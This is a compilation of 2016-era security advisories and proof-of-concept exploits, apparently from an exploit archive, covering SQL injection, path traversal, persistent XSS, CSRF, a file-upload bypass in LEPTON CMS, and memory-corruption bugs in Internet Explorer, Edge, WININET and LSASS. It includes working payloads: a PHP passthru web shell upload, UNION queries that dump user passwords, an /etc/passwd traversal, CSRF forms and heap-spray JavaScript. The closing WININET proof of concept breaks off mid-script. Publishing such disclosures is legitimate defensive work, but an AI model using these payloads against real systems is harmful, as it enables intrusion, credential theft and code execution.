/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is
vulnerable to SQLI.

5. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver
is misconfigured, read & write access the filesystem may be possible.

6. Impact:

Critical

7. Software/Product name:

Olimometer Plugin for WordPress

8. Affected versions:

<= 2.56

9. Fixed in version:

Not fixed at the date of submitting that exploit.

10. Vendor:

oshingler

11. CVE number:

Not existing
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    FUDforum 3.0.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://fudforum.org/forum/
Vulnerability Type:  LFI
Remote Exploitable:  Yes
Reported to vendor:  04/11/2016
Disclosed to public: 11/10/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to local file inclusion. This allows an attacker to read arbitrary files that
the web user has access to.

Admin credentials are required.

3. Details

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N

Description: The "file" parameter of the hlplist.php script is vulnerable to
directory traversal, which allows the viewing of arbitrary files.

Proof of Concept:

http://localhost/fudforum/adm/hlplist.php?tname=default&tlang=./af&&SQ=
4b181ea1d2d40977c7ffddb8a48a4724&file=../../../../../../../../../../etc/passwd

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-LFI-167.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    FUDforum 3.0.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://fudforum.org/forum/
Vulnerability Type:  XSS, Login CSRF
Remote Exploitable:  Yes
Reported to vendor:  04/11/2016
Disclosed to public: 11/10/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to multiple persistent XSS issues. This allows an attacker to steal cookies,
inject JavaScript keyloggers, or bypass CSRF protection. Additionally, FUDforum
is vulnerable to Login-CSRF.

3. Details

XSS 1: Via Filename in Private Message

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: The filename of attached images in private messages is vulnerable
to persistent XSS.

Proof of Concept:

Send a PM to a user. Add an attachment, where the filename is: '"><img src=no
onerror=alert(1)>.jpg When the recipient views the PM, the injected code will
be executed.

XSS 2: Via Filename in Forum Posts

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: The filename of attached images in forum posts is vulnerable to
persistent XSS.

Proof of Concept:

Create a new forum post. Add an attachment, where the filename is: '"><img src=
no onerror=alert(1)>.jpg When viewing the post the injected code will be
executed.

XSS 3: Via Signature in User Profile

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When editing a profile, the signature is echoed unencoded, leading
to persistent XSS.

Proof of Concept:

Visit http://localhost/fudforum/index.php?t=register as signature, use '"></
textarea><img src=no onerror=alert(1)> The injected code is either executed
when the user themselves edits their profile - which may be exploited via login
CSRF - or when an admin visits the edit profile page located here: http://
localhost/fudforum/index.php?t=register&mod_id=6&&SQ=
1a85a858f326ec6602cb6d78d698f60a

Login CSRF

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: The login of FUDForum does not have any CSRF protection. The
impact of this is low, but an attacker might get a victim to disclose sensitive
information by using CSRF to log the victim into an attacker-controlled
account. An example would be the accidental sending of a sensitive private
message while being logged into an account controlled by an attacker.
Additionally, Login-CSRF may enable an attacker to exploit XSS issues in the
user area.

Proof of Concept:

<html> <body> <form action="http://localhost/fudforum/index.php?t=login" method
="POST"> <input type="hidden" name="login" value="admin" /> <input type=
"hidden" name="password" value="admin" /> <input type="hidden" name="SQ" value=
"0" /> <input type="hidden" name="adm" value="" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-Multiple-Persistent-XSS-amp-Login-CSRF-169.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   LEPTON 2.2.2 stable
Fixed in:           2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Vendor Website:     http://www.lepton-cms.org/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to code execution as it is possible to upload files with dangerous
type via the media manager.

3. Details

Upload of file with dangerous type

CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description: When uploading a file in the media tab, there is a client-side as
well as a server-side extension check. The server-side check can be bypassed by
including a valid extension before the desired extension, leading to code
execution or XSS.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=
099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=
8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data;
boundary=---------------------------38397165016927337851258279296
Content-Length: 613 -----------------------------38397165016927337851258279296
Content-Disposition: form-data; name="action" media_upload
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="current_dir"
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?
php passthru($_GET['x']);
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="submit" Upload File(s)
-----------------------------38397165016927337851258279296-- http://localhost/
LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   LEPTON 2.2.2 stable
Fixed in:           2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/
                    important-lepton-2.3.0-101.php
Vendor Website:     http://www.lepton-cms.org/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to multiple SQL injections. The injections require a user account
with elevated privileges.

3. Details

SQL Injection: Search Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "terms" parameter of the page search is vulnerable to SQL
Injection. A user account with the right "Pages" is required to access this
feature.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/index.php?leptoken=
3f7020b05ec343675b6b2z1472137594 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=f3a67s8kh379l9bs2rkggtpt12
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 154 search_scope=title&terms=" union select
username,2,3,4,5,6,password,email,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
from lep_users -- -&search=Search

Blind or Error-based SQL Injection: Create Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "parent" parameter of the create page functionality is
vulnerable to SQL Injection. A user account with the right "Pages" is required
to access this feature. The injection is blind or error based in the case that
PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/add.php?leptoken=
dbbbe0a5cca5d279f7cd2z1472142328 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=uniltg734soq583l03clr0t6j0
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 84 title=test&type=wysiwyg&parent=0 union select version()&
visibility=public&submit=Add

Blind or Error-based SQL Injection: Add Droplet

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "Add_droplets" parameter of the droplet permission manager is
vulnerable to SQL injection. A user account with access to the Droplets
administration tool is required. The injection is blind or error based in the
case that PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/admintools/tool.php?tool=droplets&
leptoken=1eed21e683f216dbc9dc2z1472139075 HTTP/1.1 Host: localhost
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie:
PHPSESSID=fkb7do1domiofuavvof5qbsv66; lep8765sessionid=
f3a67s8kh379l9bs2rkggtpt12 Connection: close Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded Content-Length: 277 tool=
droplets&perms=1&Add_droplets%5B%5D=1&Add_droplets%5B%5D=2' WHERE attribute=
'Add_droplets' or extractvalue(1,version())%23&Delete_droplets%5B%5D=1&
Export_droplets%5B%5D=1&Import_droplets%5B%5D=1&Manage_backups%5B%5D=1&
Manage_perms%5B%5D=1&Modify_droplets%5B%5D=1&save=Save

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-SQL-Injection-173.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Mezzanine 4.2.0
Fixed in:            4.2.1
Fixed Version Link:  https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1
Vendor Website:      http://mezzanine.jupo.org/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  09/05/2016
Disclosed to public: 11/10/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

Mezzanine is an open source CMS written in python. In version 4.2.0, it is
vulnerable to two persistent XSS attacks, one of which requires extended
privileges, the other one does not. These issues allow an attacker to steal
cookies, inject JavaScript keyloggers, or bypass CSRF protection.

3. Details

XSS 1: Persistent XSS via Name in Comments

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When leaving a comment on a blog post, the author name is echoed
unencoded in the backend, leading to persistent XSS.

Proof of Concept:

Leave a comment, as author name use '"><img src=no onerror=alert(1)> To trigger
the payload, view the comment overview in the admin backend: http://
localhost:8000/admin/generic/threadedcomment

XSS 2: Persistent XSS via HTML file upload

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:N/I:P/A:N

Description: When uploading files via the media manager, the extension .html is
allowed, leading to XSS via file upload. An account with the permissions to
upload files to the media manager is required.

Proof of Concept:

Visit the media manager and upload a .html file: http://localhost:8000/admin/
media-library/upload/?ot=desc&o=date As uploaded files are stored inside the
web root, it can now be accessed, thus executing the JavaScript code it
contains: http://localhost:8000/static/media/uploads/xss.html

4. Solution

To mitigate this issue please upgrade at least to version 4.2.1:

https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/05/2016 Vendor replies
09/19/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Mezzanine-420-XSS-177.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
<!--
Source: http://blog.skylined.nl/20161116001.html

Synopsis

A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->

<!DOCTYPE html>
<html>
  <script>
    // This Po­C attempts to exploit a use-after-free bug in Microsoft Internet
    // Explorer 8.
    // See http://blog.skylined.nl/20161116001.html for details.
    var r=new Reg­Exp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
    "A".replace(r, function (){
      // Force OLEAUT32 to free the string
      for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
      // Reuse the freed memory
      r.compile();
    });
    // This work by Sky­Lined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  </script>
</html>

<!--
Description

Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.

Exploit

Exploitation was not investigated.

Time-line

March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
            
<!--
Source: http://blog.skylined.nl/20161118002.html

Synopsis

A specially crafted web-page can cause an integer underflow in Microsoft Edge. This causes CText­Extractor::Get­Block­Text to read data outside of the bounds of a memory block.

Known affected software, attack vectors and mitigations

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Repro.html

<!DOCTYPE html>
<style>
  *::first-letter{ border: 0; }
  *{ white-space: pre-line; }
</style>
<body>
  A<script>alert();</script>&#x­D;&#x­D;B
</body>

Description

Though I did not investigate thoroughly, I did find out the following:

The root cause appears to be an integer underflow in a 32-bit variable used in CText­Extractor..Get­Block­Text as an index to read a WCHAR in a string buffer. This index is decreased once too often and becomes -1, or a very large positive number depending on how it is used.
This does not result in a crash on 32-bit systems, as an integer wrap causes the code to read one WCHAR before the start of the buffer, which is normally also in allocated memory.
On 64-bit systems, the 32-bit -1 value is interpreted as 0x­FFFFFFFF, a very large positive value. As this is an index into a WCHAR string, it gets multiplied by two and added to the start of the buffer to find the location of a WCHAR to read. This causes the OOB read to be around 8Gb (!!) beyond the address at which the buffer is allocated.
The crash happens in code that appears to be rendering the web-page, which does not immediately offer an obvious way of extracting information using this bug.

Exploit

This is where it gets interesting, as the OOB read happens approximately 0x2`00000000 bytes after the address at which the buffer is allocated. This presents us with a problem: how to store some information that we'd be interested in reading at such a large offset from the original allocation?

As one might come to expect from me, I used a heap spray. But it needed to be a special kind of heap spray as I did not want to actually have to allocate 8Gb of RAM. However, about ten years ago (boy, time flies!) I developed a heap spray that uses significantly less RAM than a traditional heap spray does; in practice probably about 33% in most cases, but theoretically much more in ideal situations. I've been meaning to blog about it, but never found the time to do so until today: you can read all about it here.

That said, I have not actually looked at whether it is possible to exfiltrate useful information using this bug. However, I did write a Proof-of-Concept that attempts to make sure something is allocated in the area where the OOB read happens. This Po­C uses these heap spray tricks to spray the heap while minimizing memory use. The Proof-of-Concept uses about ~5.3Gb to allocate the memory at around 8Gb distance from the buffer (up to ~10Gb to be sure). When you load the Po­C in a 64-bit version of Edge, you may notice that, unlike the original repro, it will not crash Edge (even though it does trigger the issues): the heap spray has allocated the memory that the out-of-bounds read accesses, and this prevents an access violation exception. Refreshing the page is likely to screw up the precise allocation process needed and will probably cause a crash.

This proves that it is theoretically possible to allocate information at the address used by the code. All that is left is prove that the information read by the code can be exfiltrated somehow, and you have a working exploit. This is left as an exercises to the reader.
-->

<!DOCTYPE html>
<style>
  *::first-letter{ border: 0; }
  *{ white-space: pre-line; }
</style>
<body>
  A<script>
    var ai­Allocation­Sizes = [             // max address ------.    .---- RAM allocated
      -0x4000, //  4000                                      4000  4000
       0x1000, //    |   1000                                5000  5000
      -0x5000, // -4000    |   5000                          a000  6000
       0x5000, //          |     |   5000                    f000  b000
      -0x7000, //          |  -5000    |   7000             16000  d000
       0x6000, //          |           |     |   6000       1c000 13000
      -0x8000, //          |           |  -7000    |   8000 24000 14000 (5.3Gb)
    ];
    var ao­Heap = [],
        o­To­Be­Freed;
    ai­Allocation­Sizes.for­Each(function (i­Allocation­Size) {
      if (i­Allocation­Size < 0 && o­To­Be­Freed) {
        console.log("-0x" + o­To­Be­Freed.byte­Length.to­String(16));
        o­To­Be­Freed = null; // Free the heap block that was queued to be freed.
        Collect­Garbage();
      }
      var u­Allocation­Size = Math.abs(i­Allocation­Size) * 0x10000 - 1;
      console.log("+0x" + u­Allocation­Size.to­String(16));
      var o­Array­Buffer = new Array­Buffer(u­Allocation­Size);
      if (i­Allocation­Size < 0) {
        o­To­Be­Freed = o­Array­Buffer; // Schedule this to be freed
      } else {
        //ao­Heap.push(o­Array­Buffer);
      }
    });
  </script>&#x­D;&#x­D;B
</body>

<!--
Time-line

June 2016: This vulnerability was found through fuzzing.
June 2016: This vulnerability was submitted to ZDI and i­Defense.
July 2016: This vulnerability was acquired by ZDI.
September 2016: This vulnerability was addressed by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->
            
<!--
Source: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html

Persistent Cross-Site Scripting in Instagram Feed plugin via CSRF
Abstract
A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0014

Tested versions
This issue was successfully tested on the Instagram Feed WordPress Plugin version 1.4.6.2.

Fix
This issue is resolved in Instagram Feed WordPress Plugin version 1.4.7.

Introduction
Instagram Feed is a WordPress plugin to display beautifully clean, customizable, and responsive feeds from multiple Instagram accounts. A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Details
The settings page of the Instagram Feed plugin does not perform CSRF checks. It's possible to change all settings in the plugin by making an authenticated administrator perform a request to change the settings (CSRF). It's possible to change the Instagram access token and id to show images of other users. It's also possible to inject malicious JavaScript in the Customize section, to perform Persistent Cross-Site Scripting. Any user visiting the Instagram Feed will be injected with the attackers payload after the CSRF attack.

Proof of Concept
Have an authenticated admin visit a webpage with the following form:
-->

<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=sb-instagram-feed&tab=customize" method="POST">
<input type="hidden" name="sb&#95;instagram&#95;settings&#95;hidden&#95;field" value="Y" />
<input type="hidden" name="sb&#95;instagram&#95;customize&#95;hidden&#95;field" value="Y" />
<input type="hidden" name="sb&#95;instagram&#95;width" value="100" />
<input type="hidden" name="sb&#95;instagram&#95;width&#95;unit" value="&#37;" />
<input type="hidden" name="sb&#95;instagram&#95;height" value="100" />
<input type="hidden" name="sb&#95;instagram&#95;height&#95;unit" value="&#37;" />
<input type="hidden" name="sb&#95;instagram&#95;background" value="&#35;474747" />
<input type="hidden" name="sb&#95;instagram&#95;sort" value="none" />
<input type="hidden" name="sb&#95;instagram&#95;num" value="20" />
<input type="hidden" name="sb&#95;instagram&#95;cols" value="4" />
<input type="hidden" name="sb&#95;instagram&#95;image&#95;res" value="auto" />
<input type="hidden" name="sb&#95;instagram&#95;image&#95;padding" value="5" />
<input type="hidden" name="sb&#95;instagram&#95;image&#95;padding&#95;unit" value="px" />
<input type="hidden" name="sb&#95;instagram&#95;show&#95;header" value="on" />
<input type="hidden" name="sb&#95;instagram&#95;header&#95;color" value="" />
<input type="hidden" name="sb&#95;instagram&#95;show&#95;btn" value="on" />
<input type="hidden" name="sb&#95;instagram&#95;btn&#95;background" value="" />
<input type="hidden" name="sb&#95;instagram&#95;btn&#95;text&#95;color" value="" />
<input type="hidden" name="sb&#95;instagram&#95;btn&#95;text" value="Load&#32;More&#46;&#46;&#46;" />
<input type="hidden" name="sb&#95;instagram&#95;show&#95;follow&#95;btn" value="on" />
<input type="hidden" name="sb&#95;instagram&#95;folow&#95;btn&#95;background" value="" />
<input type="hidden" name="sb&#95;instagram&#95;follow&#95;btn&#95;text&#95;color" value="" />
<input type="hidden" name="sb&#95;instagram&#95;follow&#95;btn&#95;text" value="Follow&#32;on&#32;Instagram" />
<input type="hidden" name="sb&#95;instagram&#95;exclude&#95;words" value="" />
<input type="hidden" name="sb&#95;instagram&#95;include&#95;words" value="" />
<input type="hidden" name="sb&#95;instagram&#95;hide&#95;photos" value="" />
<input type="hidden" name="sb&#95;instagram&#95;block&#95;users" value="" />
<input type="hidden" name="sb&#95;instagram&#95;custom&#95;css" value="" />
<input type="hidden" name="sb&#95;instagram&#95;custom&#95;js" value="&#125;&#13;&#10;&#125;&#41;&#59;<&#47;script><script>alert&#40;1&#41;&#59;<&#47;script>&#13;&#10;" />
<input type="hidden" name="submit" value="Save&#32;Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

<!-- The Custom JavaScript section will now be saved with the attacker's JavaScript payload. -->
            
MS16-137: LSASS Remote Memory Corruption Advisory
Title:  LSASS SMB NTLM Exchange Remote Memory Corruption
Version:                1.0
Issue type:            Null Pointer Dereference
Authentication:     Pre-Authenticated
Affected vendor:   Microsoft
Release date:        8/11/2016
Discovered by:      Laurent Gaffié
Advisory by:          Laurent Gaffié
Issue status:          Patch available
Affected versions: Windows: XP/Server 2003, Vista, 7, 2008R2, Server 2012R2, 10. 
=================================================

A vulnerability in Windows Local Security Authority Subsystem Service (LSASS) was found on Windows OS versions ranging from Windows XP through to Windows 10. This vulnerability allows an attacker to remotely crash the  LSASS.EXE process of an affected workstation with no user interaction.
Successful remote exploitation of this issue will result in a reboot of the target machine. Local privilege escalation should also be considered likely.
Microsoft acknowledged the vulnerability and has published an advisory and a patch, resolving this issue.


Technical details
-----------------

This vulnerability affects both LSASS client and server and can be triggered remotely via SMBv1 and SMBv2, during the NTLM message 3 (Authenticate) message. Incoming NTLM messages via SMB are using ASN1 and DER encoding, the first ASN length field can be set to unsigned int by using 0x84.
This allows an attacker to remotely allocate a huge chunk of memory, for a message never larger than 20000 chars. The secondary trigger is to set any string fields (User, Domain, session Key, MIC, etc) with a long string (80-140 chars), leading LSASS.exe to crash.

eax=00000000 ebx=000e3e04 ecx=fffffff8 edx=fffffffc esi=000e3e00 edi=00000004
eip=7c84cca2 esp=00aaf9ac ebp=00aaf9d4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213
ntdll!RtlpWaitOnCriticalSection+0xdf:
7c84cca2 ff4014          inc     dword ptr [eax+14h]  ds:0023:00000014=????????

STACK_TEXT:  
00aaf9d4 7c83cfd7 00000b3c 00000004 00000000 ntdll!RtlpWaitOnCriticalSection+0xdf
00aaf9f4 4ab82f4a 000e3e00 00aafbec 00000000 ntdll!RtlEnterCriticalSection+0xa8       <-- Is used with a null pointer
00aafa18 4ab82765 000e3de8 ffffffff 00000001 lsasrv!NegpBuildMechListFromCreds+0x25   <-- Uses a null creds.
00aafbfc 4abc8fbb 00000001 00aafe40 000e3de8 lsasrv!NegBuildRequestToken+0xd9
00aafc34 4abca13f 000e3de8 00120111 00000010 lsasrv!NegGenerateServerRequest+0x2a
00aafc98 4ab85edb 000e3de8 00000000 00aafe40 lsasrv!NegAcceptLsaModeContext+0x344
00aafd0c 4ab860c8 00d5f900 00d5f908 00aafe40 lsasrv!WLsaAcceptContext+0x139
00aafe84 4ab7ae7b 00d5f8d8 005ccaf0 00599048 lsasrv!LpcAcceptContext+0x13b
00aafe9c 4ab7ad7e 00d5f8d8 4ac22738 00d5a158 lsasrv!DispatchAPI+0x46
00aaff54 4ab7a7c9 00d5f8d8 00aaff9c 77e5baf1 lsasrv!LpcHandler+0x1fe
00aaff78 4ab8f448 00598ce8 00000000 00000000 lsasrv!SpmPoolThreadBase+0xb9
00aaffb8 77e6484f 0059ade8 00000000 00000000 lsasrv!LsapThreadBase+0x91
00aaffec 00000000 4ab8f3f1 0059ade8 00000000 kernel32!BaseThreadStart+0x34

dt ntdll!_RTL_CRITICAL_SECTION
   +0x000 DebugInfo        : Ptr32 _RTL_CRITICAL_SECTION_DEBUG
   +0x004 LockCount        : Int4B
   +0x008 RecursionCount   : Int4B
   +0x00c OwningThread     : Ptr32 Void
   +0x010 LockSemaphore    : Ptr32 Void
   +0x014 SpinCount        : Uint4B

- LSASS NegpBuildMechListFromCreds sends a null pointer "creds" to NTDLL RtlEnterCriticalSection.
- RtlEnterCriticalSection is used with a null pointer, which triggers the crash.

Impact
------

Successful attempts will result in a remote system crash and possibly local privilege escalation.

Affected products
-----------------

Windows:
- XP
- Server 2003
- 7
- 8
- 2008
- 2012
- 10

Proof of concept
----------------

A proof of concept is available at the following URL:

https://github.com/lgandx/PoC/tree/master/LSASS
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40744.zip

This proof of concept is fully automated and includes non-vulnerable detection.

Solution
--------

Install the corresponding MS patch.
More details:
https://technet.microsoft.com/en-us/library/security/ms16-137.aspx

Response timeline
-----------------

* 17/09/2016 - Vendor notified, proof of concept sent.
* 28/09/2016 - Issue confirmed by MSRC
* 14/10/2016 - Vendor says he plan to release a patch in November, that is 1 month in advance of the scheduled 3 month.
* 08/11/2016 - Vendor release MS16-137.
* 08/11/2016 - This advisory released.

References
----------
* https://twitter.com/PythonResponder
* https://github.com/lgandx/Responder
            
<!--
Source: http://blog.skylined.nl/20161110001.html

Synopsis

A specially crafted HTTP response can cause the CHttp­Header­Parser::Parse­Status­Line method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer, Microsoft Edge and Microsoft Windows Media Player. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests, and probably be all third-party applications that use Windows APIs to make HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all, see below).

Known affected versions, attack vectors and mitigations

WININET.dll

The issue was first discovered in pre-release Windows 10 fbl_­release.140912-1613, which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. No mitigations against the issue are known.
Microsoft Internet Explorer
XMLHttp­Request can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.

Microsoft Edge

XMLHttp­Request can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.

Microsoft Windows Media Player

Opening a link to a media file on a malicious server can be used to trigger the issue.
Microsoft has released two bulletins to address this issue, one for Microsoft Internet Explorer and one for Microsoft Edge. I do not know why Microsoft did not mention other applications in their bulletins, nor why they have two fixes for these specific applications, rather than one fix for a component of the Windows Operating System.

One wonders what would happen on a system where you have previously uninstalled both MSIE and Edge: do neither of the fixes apply and will your system be left vulnerable? Let me know if you found out!

Repro

The below repro consists of two parts: an HTML file that constructs an XMLHttp­Request in order to trigger the issue and a raw HTTP response that actually triggers it.
-->

<!DOCTYPE html>
<html>
  <head>
    <script>
      // This Po­C attempts to exploit a memory disclosure bug in WININET.dll
      // that affects Microsoft Edge and Internet Explorer. However, it fails
      // to reveal any information as intended. You might want to use this as
      // a starting point for further investigation.
      // See http://blog.skylined.nl/20161110001.html for details.
      window.onerror = function (a, b, c) {
        alert([a,b,c].join("\r\n"));
      }
      var aau­Heap = [];
      function spray() {
        aau­Holes = [];
        for (var u = 0; u < 0x10000; u++) {
          var au­Hole = new Uint32Array(0x200 / 4);
          aau­Holes.push(au­Hole);
          au­Hole[0] = 0x­DEADBEEF;
          au­Hole[1] = 0x0D0A0D0A;
          au­Hole[2] = 0x0;
          var au­Heap = new Uint32Array(0x200 / 4);
          aau­Heap.push(au­Heap);
          au­Heap[0] = 0x41424344;
          au­Heap[1] = 0x0D0A0D0A;
          au­Heap[2] = 0x0;
        }
      };
      function send­Request() {
        spray();
        var o­XHR = new XMLHttp­Request();
        o­XHR.open("GET", "Response.http?" + new Date().value­Of());
        o­XHR.send();
